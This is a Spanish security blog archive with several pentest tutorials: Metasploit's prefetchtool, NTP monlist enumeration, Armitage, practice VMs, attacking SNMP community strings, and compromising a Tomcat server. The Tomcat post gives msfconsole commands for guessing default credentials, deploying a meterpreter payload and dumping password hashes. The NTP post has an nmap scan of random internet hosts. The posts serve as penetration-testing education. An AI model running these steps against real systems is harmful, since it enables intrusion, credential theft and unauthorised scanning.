Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta metasploit. Mostrar todas las entradas

miércoles, 28 de septiembre de 2011

Módulo prefetchtool de Metasploit


Para aquellos que no lo sepáis, cada vez que se ejecuta un programa en Windows se guarda en un fichero .pf información relativa al mismo, uso de las aplicaciones, librerías y ficheros que utilizan, etc, toda esta información se guarda con la finalidad de optimizar los tiempos de carga al arrancar el Sistema Operativo.

Son archivos muy útiles a la hora de realizar un análisis forense en un equipo ya que permiten saber los últimos programas que se han ejecutado, así como trazar un “patrón de uso” realizando las mediciones de uso de cada programa.

Desde el punto de vista del atacante, nos puede ser muy útil a la hora de saber para qué se suele utilizar la máquina comprometida, basándonos claro está en la frecuencia de uso de los programas, así como la posibilidad de descargar los ficheros de prefetching (alojados en %%windir%%\Prefetch) y “parsearlos” en busca de cadenas de texto útiles (por ejemplo, con el binario “strings” de Linux) como puedan ser los últimos ficheros abiertos por el Word o el Excel, etc, etc.

Para obtener información de un rápido vistazo a partir de la carpeta de prefetching, Metasploit cuenta con un módulo de meterpreter para ello.

Ayuda del módulo prefetchtool

Tal y como vemos en la ayuda, disponemos distintas opciones:
  • Parsear todos los ficheros de prefetching buscando en Internet el nombre del software (-i) – Para ello utiliza http://www.liutilities.com/products/wintaskspro/processlibrary/ y http://www.processlibrary.com/
  • Descargar un log del análisis de la carpeta de prefetching (-l)
  • Listar los programas instalados (-p) – Si vemos el código veremos que lo obtiene de la entrada del registro “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall”
  • Listar los X programas más utilizados (-x)
 
Lo primero que hará el módulo será descargar la última versión de la herramienta para Windows “prefetch-tool”, aunque aquí os dará un error debido a la forma en la que parsea el checksum de la web para comprobar si tenemos la última versión. El cambio que hay que hacer en el código es realmente simple y lo he enviado para que lo apliquen al SVN (al momento de acabar esta entrada ya ha sido aplicado :) ). Una vez realizado dicho cambio el módulo funcionará perfectamente.

Si nosotros ejecutamos el módulo sin ningún tipo de comando nos analizará la carpeta de prefetching entera:

Descarga de la herramienta desde Internet
 
Como vemos, primero descarga la última versión que exista de la herramienta y la sube al equipo comprometido, después muestra toda la información obtenida.

Análisis de la carpeta de prefetching

 
Por ejemplo, si le decimos que nos muestre el TOP 5 de programas más utilizados, obtendremos algo parecido a lo siguiente:

meterpreter > run prefetchtool -x 5

Top de programas utilizados

Una vez que hayamos visto la lista de software instalado, y las frecuencias de uso de cada programa, podremos hacernos una idea de la utilidad de la máquina, etc.
En este caso, los programas más utilizados son cmd.exe, minishare.exe, ipconfig.exe, python.exe y vulnserver.exe, se trata de una de las máquinas que utilizo para trastear temas de exploiting...

Por último, y antes de cerrar el post, comentar que existe una herramienta para Windows llamada WinPrefetchView que nos permite visualizar los ficheros de prefetching, por defecto utilizará la carpeta %%windir%%\Prefetch, pero le podemos indicar otra ruta (por ejemplo, en la que tengamos los ficheros de prefetching descargados ;) )

Vista de prefetching con WinPrefethView


Un saludo a todos y nos vemos en el siguiente post!





viernes, 23 de septiembre de 2011

Enumeración de direccionamiento IP mediante NTP


El protocolo NTP (Network Time Protocol) está diseñado para permitir sincronizar los relojes de los distintos dispositivos de red mediante su uso. Utiliza el protocolo de transporte UDP y el puerto 123.

Entre las distintas consultas que se pueden realizar a un servidor NTP tenemos la consulta monlist, pensada como herramienta de diagnóstico y que nos proporciona información de las últimas 600 direcciones IP que consultaron al servidor NTP.
Desde el punto de vista del atacante, o a la hora de hacer un pentest, podemos aprovecharnos de dicho comportamiento para realizar una enumeración de direcciones de red y obtener direcciones IP de los equipos de la empresa, internos o externos, que utilicen dicho servidor NTP.

Antes de empezar a realizar las pruebas conviene tener en mente que, en el caso por ejemplo de 0.europe.pool.ntp.org, detrás de dicho nombre de host existen varias direcciones IP y que, dependiendo de la que resuelva cuando uséis los programas, tendrán o no activada dicha consulta.

Entradas A para 0.europe.pool.ntp.org
Para realizar dicha enumeración disponemos de distintos métodos, el primero de ellos es utilizar el cliente ntp de linux “ntpdc”, tal y como vemos en la siguiente imagen (si da un error de timeout hay que repetir la petición).

Consulta monlist mediante ntpdc
También podemos utilizar el módulo de metasploit auxiliary/scanner/ntp/ntp_monlist para ello, aunque a mí me da algunos problemas y me muestra basura al final...

Nmap tiene también un script para realizar esto, ntp-monlist.nse , el cual presenta la ventaja de separarnos los clientes con direccionamiento público de aquellos que utilicen direccionamiento privado.

Script ntp-monlist de Nmap
La última herramienta que voy a comentar es de sensepost y se llama ntp_monlist.py que, además de realizar dicha consulta, nos genera también un fichero para maltego.
Para ejecutarlo basta con hacer lo siguiente: z0mbiehunt3r@ph0b0s:/$ ./ntp_monlist.py 0.europe.pool.ntp.org y luego comprobar el fichero NTP.txt.

Resultados obtenidos por ntp_monlist.py
Comentar también que HD Moore, quien hizo público este “uso alternativo” del comando monlist, comentó también la posibilidad de utilizar una lista de servidores que permitan realizar dicho comando para realizar un ataque de tipo DdoS ya que, con una única petición, obtenemos múltiples respuestas hasta completar el listado completo de los últimos 600 clientes. Esto, unido al uso de UDP como capa de transporte, hace trivial la falsificación de dirección IP de origen para hacer que un servidor objetivo reciba gran cantidad de respuestas NTP no solicitadas.

Por último, y para aquellos que queráis buscar servidores NTP con los que trastear, deciros que podéis hacerlo fácilmente con Nmap de la siguiente manera:

root@ph0b0s:~/nmap-svn# ./nmap -sU -pU:123 -Pn -n -iR 10000 --reason -v -oA /tmp/ntp-happyhunting –min-hostgroup=500

Con ello, estáis diciendo que escanee sólo el puerto UDP 123, que no realice ping primero ni resolución DNS (ahorramos bastante tiempo y ancho de banda), que genere 10000 direcciones IP aleatorias a escanear, que nos muestre el motivo por el cual Nmap establece el estado del puerto, que muestre más información del estado del escaneo, que nos guarde la salida en /tmp/ntp-happyhunting (en tres formatos distintos con sus correspondientes extensiones) y que realice el escaneo de forma paralela con grupos de 500 host.
Una vez acabado sólo tenéis que buscar en los ficheros de salida el texto udp-response que nos indica que ha habido respuesta, lo que significa que el puerto está abierto.
También podéis buscar en los listados de servidores NTP públicos pero, admitámoslo, no es tan divertido.... ;)

Espero que os haya resultado interesante y que os acordéis de ello si algún día estáis haciendo un pentest y os encontráis con un servidor NTP.

Saludos y hasta otra.




domingo, 5 de diciembre de 2010

Armitage - juguete para Metasploit

Buenas a todos, os dejo rápidamente una breve entrada respecto a una herramienta que he probado hace poco.

Recientemente la gente de Offensive Security han añadido la herramienta Armitage al repositorio de Backtrack.

¿Qué es Armitage? Pues "simplemente" una interfaz para Metasploit realizada en Java. A priori puede parecer simple en el aspecto (mucho mejor, como se ve en cuanto se empieza a usar), pero permite sacarle prácticamente todo el potencial a Metasploit.
Permite realizar todo tipo de ataques, escaneos de red para detectar host y puertos abiertos, importar resultados de Nessus, Nmap, Nexpose..., realizar explotaciones remotas, generación de payload y mucho más.

Pero, donde realmente empieza la diversión, es cuando ya tenemos una shell y empezamos la post explotación. Armitage nos ayuda en multitud de tareas para la postexplotación, como ataques pass-the-hash, pivotar a través de los host ya comprometidos, montar un servidor proxy para utilizar otras herramientas mediante los host con los que vamos a pivotar (ojito la cantidad de posibilidades que nos abre esto), etc, etc.



Todo ello de forma gráfica, estilo "click & exploit". Puede ayudarnos enormemente a la hora de realizar algunos ataques y tenerlo todo más controlado de forma gráfica y menos enrevesada.

Por último, os dejo el enlace a la web oficial desde donde podréis descargarlo y ver un par de vídeos con la herramienta en acción:

http://www.fastandeasyhacking.com/

Saludos a todos!

domingo, 17 de octubre de 2010

Montando un lab ( I ) - De-ICE

Hace ya un mes desde la última entrada... me temo que he estado más liado de lo que me hubiese gustado (bueno, y una escapadita a Asturias, pero eso no cuenta :P ) y no he podido escribir antes a pesar de que tengo bastantes cosas pendientes por publicar... vamos a ver si poco a poco se normaliza todo y puedo volver a publicar varias entradas a la semana.

En más de una ocasión he acabado hablando con compañeros o amigos acerca de cómo montar un "laboratorio de pentest" con el que poder practicar distintas técnicas, hacer perrerías de todo tipo y demás; la verdad que actualmente es bastante fácil montarse uno gracias a las máquinas virtuales, además de que ya hay disponibles varias máquinas virtuales ideadas para hacer prácticas de seguridad y aprender en el camino.

Las primeras que voy a comentar son las máquinas virtuales disponibles en http://www.de-ice.net/, varias creadas por Thomas Wilhelm y otra creada por un miembro del foro, bond00.

Entre las creadas por Thomas tenemos tres grupos por así decirlo, un primer nivel compuesto por dos máquinas virtuales, un segundo nivel compuesto por una única máquina virtual y otro correspondiente a unos artículos que Thomas está publicando en la revista hakin9 (si no la conocéis os la recomiendo encarecidamente, podéis suscribiros y recibirla gratuitamente en el correo desde hace unos meses).

De-Ice Level 1:

Bajo mi punto de vista no tienen mucho a nivel técnico puesto que casi todo se basa en técnicas de fuerza bruta (por supuesto es una opción más a tener en cuenta a la hora de realizar una prueba de pentest), básicamente realizar una enumeración de posibles usuarios con los datos de la web, comprobarlos con el correo y conseguir una credencial básica para poder realizar una escalada de privilegios posteriormente.

Aunque no me gusten tanto como otras opciones también conviene practicar dichas técnicas y llevará darle al coco un buen rato para resolver alguna que otra cosa.

De-Ice Level 2:

Aún no he podido jugar mucho con él, pero por lo que he podido ver (por Internet circulan distintos vídeos de cómo resolverlo) tiene mejor pinta que los anteriores (al menos bajo mi punto de vista, claro). Siento no poder decir mucho más, pero sin haberlo resuelto tampoco me voy a mojar demasiado, jeje.

VM Hakin9:

La verdad que hasta donde he podido ver con dichas máquinas virtuales me ha gustado mucho (en los números de hakin9 va publicando las "soluciones"). Entre las cosas que más me ha gustado es la implementación de una backdoor que abre una shell de root mediante una técnica simple de "port-knocking", realmente original el implementarlo y realmente fácil de encontrar en un servidor que ha sido comprometido.

También ha incluido la segunda máquina virtual para que se ataque desde la primera, aprovechándonos de lo que se conoce como "abuso de confianza", algo que es fácil que se nos pase por alto en un momento dado, pero conviene tener en cuenta que muchas máquinas tienen un firewall de host que permite ciertas conexiones sólo desde ciertas máquinas "seguras y administradas".
Realmente recomendables...

pwnOS:

Además del trabajo realizado por Thomas nos encontramos con una máquina virtual creada por bond00 llamada pwnOS.
Dicha máquina virtual está pensada para ser atacada con exploits encontrados en, la ya difunta, milw0rm; estuvo mucho tiempo en la brecha, aunque finalmente str0ke decidió no continuar el trabajo y tras un tiempo de incertidumbre de si alguien cogería el relevo decidió cerrar.
Los chicos de Offensive Security (la gente de Backtrack) crearon www.exploit-db.com e importaron todo el material ya existente en milw0rm, además de que diariamente se añaden cosas nuevas, también os recomiendo que os deis una vuelta por la web.

Pero bueno, que me voy por los cerros de Úbeda... volviendo al tema de la máquina virtual, podéis encontrar los exploit en exploit-db e incluso en Metasploit.

Lo que me gustó de dicha máquina es que tiene varias formas de resolverse, algunas más técnicas y otras menos. Por ejemplo, podemos aprovecharnos de la predictibilidad, digo aleatoriedad, de la que sufrió Debian para poder conectarnos por ssh y después escalar privilegios con exploit local...

Espero que os haya gustado la entrada y ya estéis descargando las máquinas para probarlas... (si tenéis cualquier duda pregutad).

En las próximas entradas mostraré otras máquinas pensadas también para ser atacadas y practicar cosillas de seguridad (además de explicar cómo montar un pequeño laboratorio de red para realizar ataques a protocolos de red)


Un saludo, gente

PD: Si véis que con este tipo de máquinas virtuales no sabéis por donde tirar probad a escanearlas con Nessus y OpenVAS ;)

martes, 7 de septiembre de 2010

Atacando SNMP (II)

Sacando las cadenas de comunidad

Cargamos metasploit, el módulo necesario y lo configuramos:

root@bt:~# msfconsole
msf > use auxiliary/scanner/snmp/community
Vemos las opciones de configuración:


Pasamos a configurarlo:
msf auxiliary(community) > set RHOSTS 192.168.1.1, 192.168.1.51, 192.168.1.230
RHOSTS => 192.168.1.1, 192.168.1.51, 192.168.1.230
msf auxiliary(community) > set THREADS 3
THREADS => 3

Y lo ejecutamos:


Como se puede ver hemos obtenido las comunidades SNMP gracias a Metasploit.


Leyendo la configuración con snmpenum

Probamos a extrare la configuración del router cisco (el segundo argumento es la cadena y el tercero el fichero de texto con los OID):
root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 192.168.1.51 private cisco.txt

Entre toda la información conseguida se encuentra la siguiente:

----------------------------------------
    PROCESSES
----------------------------------------

Chunk Manager
Load Meter
[...]
SNMP ENGINE


----------------------------------------
    IP ADDRESSES
----------------------------------------

192.168.1.51
192.168.2.51



----------------------------------------
    HARDWARE
----------------------------------------

2691 chassis
3620 Chassis Slot
c2691 Motherboard with Fast Ethernet


Y ahora probamos a extraer la información del router de Vyatta, pero esta vez usando los OID de Linux:

root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 192.168.1.230 write linux.txt

----------------------------------------
    RUNNING PROCESSES
----------------------------------------

init
kthreadd
migration/0
ksoftirqd/0
watchdog/0


----------------------------------------
    LISTENING UDP PORTS
----------------------------------------

123
161
520


----------------------------------------
    LISTENING TCP PORTS
----------------------------------------

22
443



Leyendo la configuración con snmpcheck

Probamos a leer la configuración con snmpcheck del router cisco (el segundo parámetro es la comunidad y el tercero indica que se compruebe si se puede escribir):

root@bt:/pentest/enumeration/snmpcheck# ./snmpcheck.pl -t 192.168.1.51 -c private -w
snmpcheck.pl v1.7 - snmp enumerator
Copyright (c) 2005-2008 by Matteo Cantoni (nothink.org)

 [*] try to connect to 192.168.1.51...
 [x] Connected to 192.168.1.51! Starting check at Mon Sep  6 17:05:05 2010

 [!] Write access enabled!

[*] Network interfaces
 -----------------------------------------------------------------------------------------------

 IP Forwarding Enabled   : 1

 Interface               : [ up ] FastEthernet0/0
    Hardware Address : 0xc0002bd10000
    Interface Speed  : 10 Mbps
    IP Address       : 192.168.1.51
    Netmask          : 255.255.255.0
    MTU              : 1500
    Bytes In         : 7397380 (7.1M)
    Bytes Out        : 181463 (178K)

 Interface               : [ up ] FastEthernet0/1
    Hardware Address : 0xc0002bd10001
    Interface Speed  : 10 Mbps
    IP Address       : 192.168.2.51
    Netmask          : 255.255.255.0
    MTU              : 1500
    Bytes In         : 58722 (58K)
    Bytes Out        : 82403 (81K)

 Interface               : [ up ] Null0
    Interface Speed  : 4294.967295 Mbps
    MTU              : 1500



Y ahora probamos a extraer la configuración del router Vyatta:
root@bt:/pentest/enumeration/snmpcheck# ./snmpcheck.pl -t 192.168.1.230 -c write -w
snmpcheck.pl v1.7 - snmp enumerator
Copyright (c) 2005-2008 by Matteo Cantoni (nothink.org)

 [*] try to connect to 192.168.1.230...
 [x] Connected to 192.168.1.230! Starting check at Mon Sep  6 17:07:16 2010

 [!] Write access enabled!

 Hostname        : vyatta
 Description     : Vyatta VC6.0-2010.06.01
 Uptime (snmpd)  : 39 minutes, 38.57


[*] Devices
 -----------------------------------------------------------------------------------------------

 Status   Name

 running  network interface lo
 running  network interface eth0
 running  SCSI disk (/dev/sda)
 unknown  Guessing that there's a floating point co-processor
 unknown  GenuineIntel: Intel(R) Core(TM)2 Quad CPU    Q8300  @ 2.50GHz


Se extrae bastante más información, pero pongo sólo una parte.


Leyendo la información con snmpwalk

También es posible utilizar el programa snmpwalk para recorrer toda la MIB (Base de Información de Administración )e ir mostrando cada OID (ID de Objeto).


root@bt:/# snmpwalk -c private -v1 192.168.1.51

Y veremos toda la información:
[...]
IP-FORWARD-MIB::ipCidrRouteDest.192.168.1.0.255.255.255.0.0.0.0.0.0 = IpAddress: 192.168.1.0
IP-FORWARD-MIB::ipCidrRouteDest.192.168.2.0.255.255.255.0.0.0.0.0.0 = IpAddress: 192.168.2.0
IP-FORWARD-MIB::ipCidrRouteMask.192.168.1.0.255.255.255.0.0.0.0.0.0 = IpAddress: 255.255.255.0
[...]



Además de leer la configuración como comentamos en el primer post es posible escribir en la misma utilizando SNMP, si no utilizamos ninguna herramienta gráfica es un proceso bastante engorroso y nada intuitivo (salvo que te aprendas de memoria los OID...) en cualquier caso aquí dejo un ejemplo de la web de Cisco para crear una VLAN por SNMP.


Como hemos visto en las dos últimas entradas el uso del protocolo SNMP es algo que se debe estudiar con cuidado y plantearse la necesidad del mismo, sobretodo si no se usa la versión 3.

Un saludo a todos

lunes, 6 de septiembre de 2010

Atacando SNMP (I)

Es común encontrar dispositivos de red y servidores monitorizados mediante SNMP para obtener estadísticas acerca del tráfico, procesos corriendo en memoria, estado de las interfaces, etc.
El principal problema de seguridad que encontramos en el protocolo SNMP es que, en sus versiones 1 y 2, el campo "comunidad" (usado para la autenticación) va sin cifrar, por lo que cualquier ataque de eavesdropping, como un man in the middle, permitirá leer en claro la cadena y usarla para prácticamente cualquier tipo de fin.
En SNMP se utilizan dos cadenas de comunidad, normalmente una denominada "public" que permite leer la configuración del dispositivo y una denominada "private" que permite leer y grabar la configuración.

Para poder realizar las prácticas vamos a usar Vyatta por un lado (software basado en Linux que permite montar routers de forma gratuita además de poder usarse como IPS,VPN y content filtering) y por otro routers Cisco 2691, en mi caso emulados con GNS3.


Instalación y configuración de Vyatta

Una vez hemos creado una máquina virtual y arrancado desde la iso bastará con que ejecutemos los siguientes comandos para tenerlo todo listo:

vyatta@vyatta# install image
Seguimos los pasos del asistente pero dejándolo todo por defecto no tardaremos más de un par de minutos en instalarlo.

vyatta@vyatta# configure
vyatta@vyatta# set interfaces ethernet eth0 address 192.168.1.230/24
vyatta@vyatta# set service https
vyatta@vyatta# set service ssh
vyatta@vyatta# commit

Con ello conseguiremos activar la interfaz, darle una dirección IP y activar los servicios ssh y https por comodidad.

Para activar SNMP:
vyatta@vyatta# set service snmp community read
vyatta@vyatta# edit service snmp community read
vyatta@vyatta# set authorization ro
vyatta@vyatta# commit
vyatta@vyatta# top

vyatta@vyatta# set service snmp community write
vyatta@vyatta# edit service snmp community write
vyatta@vyatta# set authorization rw
vyatta@vyatta# commit
vyatta@vyatta# top




Configuración Cisco
Router> enable
Router#configure terminal
Router(config)#interface fastEthernet 0/0 (en este caso es la que tengo conectada a la tarjeta de red)
Router(config-if)#ip address 192.168.1.51 255.255.255.0
Router(config-if)#no shutdown
Router(config)#snmp-server community public RORouter(config)#snmp-server community private RW


Localizando dispositivos que utilizan SNMP
Una de las formas más fáciles y rápidas es lanzar un escaneo de puertos con nmap, como sabemos que SNMP utiliza el puerto UDP 161:

root@bt:~# nmap -sU -p161 --open --reason 192.168.1.0/24
 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-09-06 16:33 EDT
Nmap scan report for 192.168.1.1
Host is up, received arp-response (0.0013s latency).
PORT    STATE         SERVICE REASON
161/udp open|filtered snmp    no-response
MAC Address: 00:02:CF:6D:23:DF (ZyGate Communications)

Nmap scan report for 192.168.1.51
Host is up, received arp-response (0.0073s latency).
PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response
MAC Address: C0:00:2B:D1:00:00 (Unknown)

Nmap scan report for 192.168.1.230
Host is up, received arp-response (0.00045s latency).
PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response
MAC Address: 00:0C:29:C1:2E:EE (VMware)

Nmap done: 256 IP addresses (5 hosts up) scanned in 3.29 seconds



La opción --open es para que nmap sólo muestre los host con el puerto categorizado como abierto y --reason nos indica el por qué de dicha categorización.

Una vez que sabemos las direcciones ips debemos "adivinar" las cadenas de comunidad que utilizan los dispositivos.

martes, 31 de agosto de 2010

Metasploit y credenciales comunes


Es común utilizar contraseñas comunes o por defecto en entornos de desarrollo y no preocuparse de dichos equipos ya que "no son equipos críticos" (pero un atacante podría acceder primero a un equipo final de usuario mediante un exploit para Adobe Reader y luego expandirse por la red).

Realizando una auditoría descubrí un equipo de desarrollo que tenía, entre otras cosas, un Tomcat con credenciales fácilmente adivinables.

Lo primero es cargar metasploit y buscar qué módulos y exploits tiene para tomcat:


Lo cargamos: 

msf > use auxiliary/scanner/http/tomcat_mgr_login

Si queremos leer acerca del módulo o exploit usaremos el comando info.

Procedemos a configurar las opciones (en caso de que queramos revisarlas usamos show options):

Configuramos el módulo para que pare en cuanto consiga una credencial válida y le indicamos el host:

Ya sólo queda lanzarlo y esperar:



Como vemos hemos encontrado un usuario válido, admin/admin, vamos a usarlo para subir una shell en Java...

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy

Y configuramos las opciones necesarias, incluído el payload a ejecutar:

msf exploit(tomcat_mgr_deploy) > set PASSWORD admin
PASSWORD => admin
msf exploit(tomcat_mgr_deploy) > set USERNAME admin
USERNAME => admin
msf exploit(tomcat_mgr_deploy) > set RHOST 10.1.100.89
RHOST => 10.1.100.89
msf exploit(tomcat_mgr_deploy) > set RPORT 8080
RPORT => 8080
msf exploit(tomcat_mgr_deploy) > set PAYLOAD windows/meterpreter/bind_tcp

Lanzamos el exploit y esperamos:


Ya tenemos la shell, ahora podemos hacer lo que se nos ocurra, en éste caso vamos a migrarnos a un proceso y obtener los hashes locales.

Usamos el comando ps para listar los procesos:

Seleccionamos uno que corra como NT AUTHORITY/SYSTEM y nos inyectamos en él con el comando migrate pid.

Una vez migrados extraemos los hashes con el comando hashdump:


meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY d19421987198b4ae5be0af480fbd8f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...


Administrador:500:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Invitado:501:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Asistente de ayuda:1000:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
SUPPORT_388945a0:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
usuario:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
SophosSAUDPC12:1009:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
IUSR_PC12:1010:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
IWAM_PC12:1011:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
ASPNET:1012:XXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Otros

Otros usos que se le puede dar al meterpreter:

  • Subir un metasploit para ejecutarlo desde red interna
  • Sniffar en cualquier interfaz
  • Realizar enumeracion de usuarios
  • Crear un túnel con el que pivotar a la red interna
  • Keylogger
  • Y un largo etcétera

Para practicar con los módulos de Tomcat podemos usar la imágen virtual Metasploitable, además de tener un Tomcat como servicio dispone de unos cuantos servicios más para practicar con Metasploit.

Saludos y espero que os haya resultado interesante.

PD: Siento que las imágenes no sean todas del mismo tipo, pero algunas de las capturas he tenido que reproducirlas de nuevo...